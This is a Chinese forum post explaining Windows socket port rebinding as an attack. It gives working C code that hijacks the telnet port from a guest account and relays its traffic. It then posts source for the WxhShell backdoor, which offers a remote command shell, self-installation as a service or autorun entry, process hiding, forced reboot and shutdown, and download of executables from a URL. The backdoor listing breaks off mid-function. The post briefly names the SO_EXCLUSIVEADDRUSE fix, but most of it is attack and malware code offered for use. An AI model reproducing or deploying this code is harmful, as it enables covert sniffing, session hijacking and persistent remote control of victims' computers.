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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dR=SW0Oa{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?xG #4P<C=  
Gu_s:cgB9F  
  saddr.sin_family = AF_INET; BO[A1'>  
<XLATS8Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GzR;`,_O/  
O:Z|fDQ`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f%|g7[  
@wa/p`gj5w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jp,ohVRNq  
{u5)zVYC,U  
  这意味着什么?意味着可以进行如下的攻击: ]mqB&{g  
oNEU?+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0 /H1INve  
z&t6,0q`5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9g*~X;`2  
S%T1na^x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U>I#f  
j<gnh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )O+9 v}2  
iL\\JuY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,Y5+UzE@  
Z'fy9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C<7J5  
~O|0.)71]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >:Oo[{)  
My1E@<  
  #include ~\kRW6  
  #include M,{F/Yu  
  #include NCsUC  
  #include    P$oa6`%l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3NJH"amk  
  int main() {6AJ>}3  
  { "vJADQ4F  
  WORD wVersionRequested; VEpQT Qp  
  DWORD ret; !#?tA/t@  
  WSADATA wsaData; uL= \t=  
  BOOL val; +HcH]D;  
  SOCKADDR_IN saddr; [[|;Wr} 2  
  SOCKADDR_IN scaddr; p75w^  
  int err; zZ wD)p?_g  
  SOCKET s; 8<G@s`*  
  SOCKET sc; fU8;CZnx  
  int caddsize; D\TL6"wo  
  HANDLE mt; [v&_MQ  
  DWORD tid;   ht-6_]+ME  
  wVersionRequested = MAKEWORD( 2, 2 ); 9Z*vp^3  
  err = WSAStartup( wVersionRequested, &wsaData ); &0l Nj@/  
  if ( err != 0 ) { - Z|1@s&  
  printf("error!WSAStartup failed!\n"); <)&ykcB  
  return -1; }1>a71  
  } ML]?`qv '  
  saddr.sin_family = AF_INET; p 2i5/Ly  
   5N6%N1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xtnB: 3  
Vy?w,E0^:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1ERz:\  
  saddr.sin_port = htons(23); &sllM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r({(;  
  { ewLr+8  
  printf("error!socket failed!\n"); o+vf  
  return -1; $M8'm1R9  
  } >i.+v[)#  
  val = TRUE;  ;js7rt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J>'o,"D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (>jME  
  { Md~mI8  
  printf("error!setsockopt failed!\n"); 'D-imLV<<  
  return -1; I;`V*/s8"  
  } 7~65@&P>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s)N1@RBR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7OZ s~6(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SUx0!_f*R  
q4Z \y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /yOd]N;$  
  { AiyjrEa%  
  ret=GetLastError(); x88$#N>Q5  
  printf("error!bind failed!\n"); S38D cWIw  
  return -1; !pN,,H6Y  
  } @M,_mX  
  listen(s,2); [W2p}4(  
  while(1) PaZFM  
  { OVd"'|&6_  
  caddsize = sizeof(scaddr); w&H ?;1  
  //接受连接请求 V^0*S=N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z!1j8o2  
  if(sc!=INVALID_SOCKET) S)~h|&A(  
  { ctCfLlK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e L(T  
  if(mt==NULL) DB*IVg  
  { p5bH- km6  
  printf("Thread Creat Failed!\n"); >S~#E,Tg  
  break; mg;qG@?  
  } x,>=X` T  
  } XGUF9arN  
  CloseHandle(mt); Sd)D-S  
  } )jH"6my_  
  closesocket(s); T&!>lqU!J  
  WSACleanup(); 8IX6MfR}C  
  return 0; ;Y~;G7  
  }   3QF!fll^  
  DWORD WINAPI ClientThread(LPVOID lpParam) R#r?<Ofw4  
  { u54+oh|,M  
  SOCKET ss = (SOCKET)lpParam; /yI~(8bO  
  SOCKET sc; K=~h1qV:  
  unsigned char buf[4096]; 2x{3'^+l  
  SOCKADDR_IN saddr; xLGAP-mx]  
  long num; ;~@2YPj  
  DWORD val; +J^}"dG  
  DWORD ret; iWvgCm4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^+P]_< 43  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jeJGxfii  
  saddr.sin_family = AF_INET; I*24%z9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eLt6Hg)s`9  
  saddr.sin_port = htons(23); r3KV.##u,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hwO]{)%  
  { NfN#q:w1  
  printf("error!socket failed!\n"); 7f`jl/   
  return -1; ]{y ';MZ  
  } KDY~9?}TM  
  val = 100; ucMl>G'!gX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Q3m?)X=Gd  
  { mG2}JWA  
  ret = GetLastError(); PL VF  
  return -1; G q:7d]c~T  
  } 6L*y$e"Qc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gz$=\=%>RL  
  { q_W NN/w  
  ret = GetLastError(); ha(hG3C  
  return -1; 9,9( mbWJv  
  } )JZfC&,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZkK +?:9  
  { on(W^ocnD  
  printf("error!socket connect failed!\n"); %fxGdzu7.  
  closesocket(sc); eR3!P8t  
  closesocket(ss); S4 tdW A  
  return -1; U2K>\/-~  
  } kDm=Cjxv  
  while(1) 9t)t-t#P;  
  { s~TYzfA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "Pu P J|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LxG :?=O.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  EGV@L#  
  num = recv(ss,buf,4096,0); ,;{mH]"s  
  if(num>0) m6JIq}CMb  
  send(sc,buf,num,0); ]P 2M  
  else if(num==0) ]zD/W%c  
  break; n[{o~VN  
  num = recv(sc,buf,4096,0); 6vmkDL8{A8  
  if(num>0) c[Y7tj%y  
  send(ss,buf,num,0); .kBAUkL:  
  else if(num==0) 5#iv[c  
  break; $<T)_g  
  } 9m8`4%y=  
  closesocket(ss); C~:aol i;  
  closesocket(sc); !WrUr]0IP  
  return 0 ; J]Y." hi  
  } &;,w})  
|>p\*Dl}H  
gBrIqM i5  
========================================================== vL-%"*>v  
#opFUX-  
下边附上一个代码,,WXhSHELL BPC$ v\a  
=`{!" 6a  
========================================================== - 5A"TNU  
%1e`R*I  
#include "stdafx.h" koaH31Q  
cT."  
#include <stdio.h> Fnr*.k  
#include <string.h> "IB)=Hc  
#include <windows.h> Q:tW LVE#0  
#include <winsock2.h> 4(o0I~hpB?  
#include <winsvc.h> "< [D1E\  
#include <urlmon.h> Dx iCq(;  
`yc .A%5  
#pragma comment (lib, "Ws2_32.lib") ` R^[s56wp  
#pragma comment (lib, "urlmon.lib") LkJ3 :3O  
|f`!{=?  
#define MAX_USER   100 // 最大客户端连接数 W"z!sf5U  
#define BUF_SOCK   200 // sock buffer #XNe4#  
#define KEY_BUFF   255 // 输入 buffer P3(u+UI3  
#B>Hq~ vrC  
#define REBOOT     0   // 重启 {iHC;a5gb$  
#define SHUTDOWN   1   // 关机 Pbz-I3+66  
Lt=#tu&d  
#define DEF_PORT   5000 // 监听端口 q"fK"H-j  
Z\TH=UA  
#define REG_LEN     16   // 注册表键长度 ~ / "aD  
#define SVC_LEN     80   // NT服务名长度 DUY#RJf  
< R0c=BZ>  
// 从dll定义API <L:v28c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QNn$`Qz.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5a-8/.}cP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :aco$ZNH5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %z1WdiC  
YAd.i@^  
// wxhshell配置信息 hm?-QVRPV  
struct WSCFG { ~pwp B2c  
  int ws_port;         // 监听端口 -`#LrO;n  
  char ws_passstr[REG_LEN]; // 口令 { 5h6nYu  
  int ws_autoins;       // 安装标记, 1=yes 0=no T4._S:~  
  char ws_regname[REG_LEN]; // 注册表键名 Ge|caiH1I  
  char ws_svcname[REG_LEN]; // 服务名 ~h0SD(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N\ GBjr-d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f`H}Y!W(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O:#t> ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PK!=3fK4\F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P}JA"V&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ttcFX1:W  
,SS@]9A &  
}; I)9;4lix  
8`9!ocrM  
// default Wxhshell configuration Z}$.Tm  
struct WSCFG wscfg={DEF_PORT,  X1y1  
    "xuhuanlingzhe", 2"JIlS;J}7  
    1, v"=^?5B  
    "Wxhshell", 2'_Oi-&  
    "Wxhshell", )vhHlZ *+  
            "WxhShell Service", d;H1B/  
    "Wrsky Windows CmdShell Service", Y KeOH  
    "Please Input Your Password: ", GS\-  
  1, '<$(*  
  "http://www.wrsky.com/wxhshell.exe", (m~MyT#S  
  "Wxhshell.exe" ATH0n>)  
    }; ~@MIG  
9:4P7  
// 消息定义模块 `N ;!=7y7Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /V-7u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a'XCT@B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s%;18V:pi  
char *msg_ws_ext="\n\rExit."; ~Og'IRf  
char *msg_ws_end="\n\rQuit."; s XRiUDP`  
char *msg_ws_boot="\n\rReboot..."; @U:WWTzf  
char *msg_ws_poff="\n\rShutdown..."; XOVZ'V  
char *msg_ws_down="\n\rSave to "; UYGl  
}a|S gI  
char *msg_ws_err="\n\rErr!"; 'xvV;bi  
char *msg_ws_ok="\n\rOK!"; J1yy6Wq3[  
^FF{71;  
char ExeFile[MAX_PATH]; J6rXb ui$  
int nUser = 0; (a@cK,  
HANDLE handles[MAX_USER]; VqbMFr<k  
int OsIsNt; E}.cz\!.  
j?3J-}XC  
SERVICE_STATUS       serviceStatus; * vEG%Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dbz\8gmY  
~+V]MT  
// 函数声明 M\>y&'J-  
int Install(void); yEzp+Ky  
int Uninstall(void);  Js'COO  
int DownloadFile(char *sURL, SOCKET wsh); qm@c[b  
int Boot(int flag); ir3iW*5k  
void HideProc(void); IeZ}`$[H  
int GetOsVer(void); jQ1~B1(  
int Wxhshell(SOCKET wsl); DTAEfs!ZW  
void TalkWithClient(void *cs); $BkdC'D  
int CmdShell(SOCKET sock); /,$6`V  
int StartFromService(void); dcYUw]  
int StartWxhshell(LPSTR lpCmdLine); h:Npi `y  
H /*^$>0Uo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x]Q+M2g?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]e7D""  
S!up2OseW  
// 数据结构和表定义 &.K=,+0_R/  
SERVICE_TABLE_ENTRY DispatchTable[] = w'?uJW  
{ M@ ! {m  
{wscfg.ws_svcname, NTServiceMain}, >c;q IP)Z  
{NULL, NULL} onHUi]yYu{  
}; /XtxgO\T.  
!N?|[n1  
// 自我安装 +.b~2K1  
int Install(void) A!W(>  
{ !@p@u;djJ  
  char svExeFile[MAX_PATH]; 8.'%wOU @A  
  HKEY key; D{PO!WzW  
  strcpy(svExeFile,ExeFile); MpGWt#  
LtXFGPQf  
// 如果是win9x系统,修改注册表设为自启动 (B7M*e  
if(!OsIsNt) { fW <qp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wNcf7/ky  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q J@XVN4   
  RegCloseKey(key); %(,JBa:G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Go+f0aig  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L+9a4/q  
  RegCloseKey(key); r }pYm'e  
  return 0; "e@JMS  
    } <+ >y GPp  
  } \b{=&B[Q$'  
} ,.x1+9X  
else { !sK{:6s  
KokmylHu  
// 如果是NT以上系统,安装为系统服务 `+Wl fk;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); maXQG&.F  
if (schSCManager!=0) P0 hC4Sxf  
{ Ym2![FC1  
  SC_HANDLE schService = CreateService 7o'kdY Jzo  
  ( o%RyE]pw,  
  schSCManager, U43PHcv_  
  wscfg.ws_svcname, }Q/xBC)  
  wscfg.ws_svcdisp, Z  r  
  SERVICE_ALL_ACCESS, FJ}/g ?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s{'r'`z.  
  SERVICE_AUTO_START, `>g: :  
  SERVICE_ERROR_NORMAL, &,3.V+Sz  
  svExeFile, 5ju\!Re3X  
  NULL, k`'^e/  
  NULL, cK1r9ED|  
  NULL, ;[uJ~7e3  
  NULL, :>\i  
  NULL SB:-zQ5  
  );  r@/+  
  if (schService!=0) 3l-8TR  
  { 3tA6r  
  CloseServiceHandle(schService); Jx.Jx~  
  CloseServiceHandle(schSCManager); gY=nU,;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |36d<b Io  
  strcat(svExeFile,wscfg.ws_svcname); i%:oO KI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6Y`eYp5A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jLM1 ~`&  
  RegCloseKey(key); D0.7an6  
  return 0; 8I$>e (  
    } &?#V*-;^  
  } oDrfzm|[Y  
  CloseServiceHandle(schSCManager); W{*U#:Jx1  
} Cz#0Gh>1  
} Xt_8=Q  
6:fe.0H 9  
return 1; v8 I&~_b  
} MRV4D<NQ  
h'|{@X  
// 自我卸载 b>er'U  
int Uninstall(void) [sy~i{Bm  
{ )R(kXz=M  
  HKEY key; F;kY5+a7~e  
@ 4#q  
if(!OsIsNt) { W.'#pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zn@<>o8hU  
  RegDeleteValue(key,wscfg.ws_regname); g=XvqD<  
  RegCloseKey(key); hs!a'E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &CpxD."8x  
  RegDeleteValue(key,wscfg.ws_regname); Ej~vp2  
  RegCloseKey(key); "jb`KBH%"  
  return 0; YC8wo1;Y!  
  } aY@]mMz\  
} |-a5|3  
} 3CL/9C>  
else { ;wK;  
6!*be|<&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tty_P,  
if (schSCManager!=0) WXV(R,*Tc  
{ L-? ?%_=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8Wqh 8$  
  if (schService!=0) 1LYz X;H1  
  { +pXYBwH 7Q  
  if(DeleteService(schService)!=0) { 3q ujz)o  
  CloseServiceHandle(schService); T$rhz)_q  
  CloseServiceHandle(schSCManager); o&0fvCpW  
  return 0; 10R#} ~D  
  } 7^)8DwAl  
  CloseServiceHandle(schService); !xk`oW  
  }  >M~1{  
  CloseServiceHandle(schSCManager); P1C{G'cR  
} 7+ +Fak  
} #N Qpr  
JYbsta  
return 1; -UY5T@as  
} _E'F   
6$/Z.8  
// 从指定url下载文件 3 @ahN2  
int DownloadFile(char *sURL, SOCKET wsh) ?#s9@R1  
{ YYNh| 2  
  HRESULT hr; @=_4i&]$  
char seps[]= "/"; Ig&H0S  
char *token; zVt1Ta:j  
char *file; eJbZA&:  
char myURL[MAX_PATH]; ]#k=VKdV  
char myFILE[MAX_PATH]; {E=BFs  
_E %!5u  
strcpy(myURL,sURL); s.|OdC>U =  
  token=strtok(myURL,seps); :1asY:)vNP  
  while(token!=NULL) \-Vja{J]  
  { tTEw"DL_-  
    file=token; [nc-~T+Mo  
  token=strtok(NULL,seps); hgg 8r#4q  
  } `D/<*e,#  
l bs0i  
GetCurrentDirectory(MAX_PATH,myFILE); lXpbAW  
strcat(myFILE, "\\"); 0<i8 ;2KD  
strcat(myFILE, file); ,V^2Oa  
  send(wsh,myFILE,strlen(myFILE),0); ZLDO&}  
send(wsh,"...",3,0); G&Fe2&5!w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :o3>  
  if(hr==S_OK) 1.0:  
return 0; L"KKW c  
else 'm=TBNQTS  
return 1; p40;@gUug  
m!5MGq~  
} d`gKF  
~P7zg!p/q  
// 系统电源模块 ="p,~ivrz  
int Boot(int flag) ?B+]Ex(\B,  
{ vpq"mpfkh  
  HANDLE hToken; |.*nq  
  TOKEN_PRIVILEGES tkp; 2P/ Sq  
e0<Wed  
  if(OsIsNt) { >P+o NY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s"UUo|hM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dVMduo  
    tkp.PrivilegeCount = 1; !'eh@BU;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3xk- D &"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E4$y|Ni"  
if(flag==REBOOT) { M3U?\g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HTLS$o;Q  
  return 0; vA"LV+@  
} gy1R.SN  
else { ;V?3Hwl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) { SF'YbY  
  return 0; uZM%F)  
} )3f<0C>  
  } @;G%7&ps  
  else { u4tv= +jh  
if(flag==REBOOT) { 5g%D0_e5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -FF#+Z$  
  return 0; &^`[$LtYd  
} 0.S7uH%"  
else { Quwq_.DU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OI_Px3) y  
  return 0; 75pn1*"gQ  
} AJ>$`=  
} Q@"}v_r4  
-_xTs(;|8  
return 1; b")O#v.  
}  wh#IQ.E-  
4k9$' k  
// win9x进程隐藏模块 mPF<2:)wv  
void HideProc(void) Uw]o9 e0S  
{ bk0<i*ju7(  
f 8\DAN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u+y3( 0  
  if ( hKernel != NULL ) L=<$^m  
  { 1LaJ hrp?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8`s*+.LI!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KRX\<@  
    FreeLibrary(hKernel); .F'Cb)Z  
  } ly69:TR7I  
8>G5VhCm~o  
return; )gz]F_  
} :]4s;q:m  
\?wKs  
// 获取操作系统版本 b'C#]DorE  
int GetOsVer(void) @HTs.4  
{ E@%1HO_  
  OSVERSIONINFO winfo; /l$fQ:l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7yJE+o'  
  GetVersionEx(&winfo); 3kh!dL3D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^hsr/|  
  return 1; 03A QB;.  
  else ]N,'3`&::  
  return 0; ~;-2eKw  
} nltOX@P-  
x[fp7*TiG  
// 客户端句柄模块 XZQ-Ig18  
int Wxhshell(SOCKET wsl) ;pS+S0U   
{ t<"`gM^|  
  SOCKET wsh; FRL;fF  
  struct sockaddr_in client; [VLq/lg*  
  DWORD myID; gV$0J?Pr.  
q,_E HPc  
  while(nUser<MAX_USER) 2"k|IHs1  
{ oKr= ]p  
  int nSize=sizeof(client); _dECAk &b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C8i4z  
  if(wsh==INVALID_SOCKET) return 1; _j4 K  
[vz2< genn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S|;}]6p  
if(handles[nUser]==0) Hq~SRc~  
  closesocket(wsh); @+_pj.D  
else *>!-t   
  nUser++; ,Y#f0  
  } uhv_'Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `Ba?4_>k  
VD $PoP  
  return 0; [,;O$j}  
} *=]UWM~]  
_,v>P2)  
// 关闭 socket Ic^ (6  
void CloseIt(SOCKET wsh) KZ1m 2R}'  
{ ?!$Dr0r  
closesocket(wsh); nEP3B '+  
nUser--; 82V;J 8T?  
ExitThread(0); J9f]=1`  
} Nx+5rp  
l)~$/#k  
// 客户端请求句柄 t\PSB  
void TalkWithClient(void *cs) (WP^}V5  
{ c/=\YeR  
EY.m,@{  
  SOCKET wsh=(SOCKET)cs; **oDQwW]*  
  char pwd[SVC_LEN]; IL uQf-  
  char cmd[KEY_BUFF]; DGw*BN%`  
char chr[1]; }IdkXAB.  
int i,j; mVN\  
(dy:d^  
  while (nUser < MAX_USER) { K@oyvJ$  
}7K~-  
if(wscfg.ws_passstr) { [\%a7ji#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); snNB;hkj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;TK$?hrv*1  
  //ZeroMemory(pwd,KEY_BUFF); *(XGNp[0  
      i=0; (dx~lMI  
  while(i<SVC_LEN) {  @k#xr  
T11>&K)  
  // 设置超时 Q~n%c7  
  fd_set FdRead; 3hEbM'L  
  struct timeval TimeOut; KdzV^6K<c  
  FD_ZERO(&FdRead); >wFn|7\)s>  
  FD_SET(wsh,&FdRead); ] r%fAm j  
  TimeOut.tv_sec=8; 3qDbfO[  
  TimeOut.tv_usec=0; L s3r( Tf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &m]jYvRc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q4Qf/q;U  
k'sPA_|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _EP~PW#J  
  pwd=chr[0]; T.B7QAI. H  
  if(chr[0]==0xd || chr[0]==0xa) { wbk$(P'gN  
  pwd=0; ytb1hFs  
  break; S)'&+HamI  
  } ELg$tc  
  i++; sXT8jLIf  
    } +tG'  
7{k?" NF  
  // 如果是非法用户,关闭 socket SL\15`[{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fP8bWZ{  
} C*1 1?B[  
'$ z@40u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i[z#5;x+<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U'Y,T$Q  
^>eV}I5ak  
while(1) { u6:$AA  
+1\t 0P24  
  ZeroMemory(cmd,KEY_BUFF); G_WHW(8   
W@%g_V}C*  
      // 自动支持客户端 telnet标准   o3NB3@uj<  
  j=0;  `=B v+  
  while(j<KEY_BUFF) { mtw{7 E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IJ:JH=8  
  cmd[j]=chr[0]; V@EyU/VJ  
  if(chr[0]==0xa || chr[0]==0xd) { 5yj6MaqJ  
  cmd[j]=0; .ezZ+@LI+#  
  break; _fHj8- s/  
  } ;E!] /oY<  
  j++; YM.  
    } 1CJAFi>%D  
mgodvX  
  // 下载文件 x cZF_elt7  
  if(strstr(cmd,"http://")) { ,E@}=x9p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N] pw7S%  
  if(DownloadFile(cmd,wsh)) RX^Xtc"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a1QW0d  
  else |0X~D}r|J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ta'wX   
  } 0bSnD|#I  
  else { QBfo=9[=e  
/#q6.du  
    switch(cmd[0]) { FJ{&R Ld  
  Bo'v!bI7  
  // 帮助 5aXE^.`  
  case '?': { ~\<L74BB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6['o^>\}f  
    break; S/l6c P  
  } #>sI XY  
  // 安装 u% =2g'+)_  
  case 'i': { 8_O?#JYi  
    if(Install()) HXPq+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R+=wSG]  
    else YTr+"\CkA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); am7~  
    break; `joyHKZI.  
    } !HP=Rgh  
  // 卸载 8,e%=7h_e  
  case 'r': { dOKe}?}==  
    if(Uninstall()) Q|U [|U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQn}lD  
    else Lzcea+*uw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~]n=TEJ>  
    break; 1qm*#4x  
    } 9;L8%T (  
  // 显示 wxhshell 所在路径 K<50>uG  
  case 'p': { 1S yG  
    char svExeFile[MAX_PATH]; :YLurng/]  
    strcpy(svExeFile,"\n\r"); k[@/N+;")`  
      strcat(svExeFile,ExeFile); ~]'yUd1gSZ  
        send(wsh,svExeFile,strlen(svExeFile),0); gg Nvm  
    break; Y n0iu$;n  
    } :-(qqC:  
  // 重启 .SNg2.  
  case 'b': { EW+QVu@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >t%@)]*N  
    if(Boot(REBOOT))  [ A 7{}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)6EH`-  
    else { _g'x=VJF  
    closesocket(wsh); A\13*4:;l  
    ExitThread(0); ,3!4 D^  
    } o,@ (]e~  
    break; Q-1 Xgw!  
    } *55unc  
  // 关机 n8`WU3&  
  case 'd': { SzfMQ@~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _sY; dS/  
    if(Boot(SHUTDOWN)) &)_ z!  
